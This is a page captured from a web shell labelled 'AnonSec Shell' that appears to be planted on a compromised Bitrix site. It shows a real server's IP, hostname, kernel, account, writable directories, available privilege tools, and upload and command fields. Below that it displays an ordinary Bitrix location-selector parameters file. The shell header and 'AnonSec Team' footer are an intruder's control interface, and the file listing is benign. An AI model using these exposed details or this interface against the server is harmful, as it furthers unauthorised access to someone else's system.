AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.226.165.236
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/components/bitrix/sale.location.selector.steps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/components/bitrix/sale.location.selector.steps/.parameters.php
<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

/*
	"GROUPS" => array(
		"FILTER_SETTINGS" => array(
			"NAME" => GetMessage("T_IBLOCK_DESC_FILTER_SETTINGS"),
		),
*/

$arComponentParameters = Array(
	"PARAMETERS" => Array(
		"ID" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_ID_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
		),
		"CODE" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_CODE_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
		),
		"INPUT_NAME" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_INPUT_NAME_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "STRING",
			"DEFAULT" => "LOCATION",
		),
		"PROVIDE_LINK_BY" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_PROVIDE_LINK_BY_PARAMETER"),
			"PARENT" => "BASE",
			"TYPE" => "LIST",
			"VALUES" => array(
				'id' => Loc::getMessage("SALE_SLS_PROVIDE_LINK_BY_PARAMETER_ID"),
				'code' => Loc::getMessage("SALE_SLS_PROVIDE_LINK_BY_PARAMETER_CODE")
			),
			"DEFAULT" => "id"
		),

		"PRESELECT_TREE_TRUNK" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_PRESELECT_TREE_TRUNK_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "N"
		),

		"PRECACHE_LAST_LEVEL" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_PRECACHE_LAST_LEVEL_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "N"
		),

		/*
		"SEARCH_BY_PRIMARY" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_SEARCH_BY_PRIMARY_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N"
		),
		*/

		"FILTER_BY_SITE" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_FILTER_BY_SITE_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "Y"
		),
		"SHOW_DEFAULT_LOCATIONS" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_SHOW_DEFAULT_LOCATIONS_PARAMETER"),
			"PARENT" => "DATA_SOURCE",
			"TYPE" => "CHECKBOX",
			"DEFAULT" => "N",
			"REFRESH" => "Y"
		),

		"JS_CONTROL_GLOBAL_ID" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_JSCONTROL_GLOBAL_ID_PARAMETER"),
			"PARENT" => "ADDITIONAL",
			"TYPE" => "STRING",
			"MULTIPLE" => "N",
			"DEFAULT" => ""
		),
		"JS_CALLBACK" => Array(
			"NAME" => Loc::getMessage("SALE_SLS_JS_CALLBACK"),
			"PARENT" => "ADDITIONAL",
			"TYPE" => "STRING"
		),

		"CACHE_TIME"  =>  array("DEFAULT" => 36000000)
	)
);

if($arCurrentValues['FILTER_BY_SITE'] == 'Y' || $arCurrentValues['SHOW_DEFAULT_LOCATIONS'] == 'Y')
{
	$res = \Bitrix\Main\SiteTable::getList(array('filter' => array('=ACTIVE' => 'Y')));
	$sites = array();
	while($item = $res->Fetch())
		$sites[$item['LID']] = '['.$item['LID'].'] '.$item['NAME'];

	$arComponentParameters["PARAMETERS"]["FILTER_SITE_ID"] = Array(
		"NAME" => Loc::getMessage("SALE_SLS_FILTER_SITE_ID_PARAMETER"),
		"PARENT" => "DATA_SOURCE",
		"TYPE" => "LIST",
		"VALUES" => array_merge(array(
			'current' => Loc::getMessage("SALE_SLS_FILTER_SITE_ID_CURRENT")
		), $sites)
	);
}

Anon7 - 2022
AnonSec Team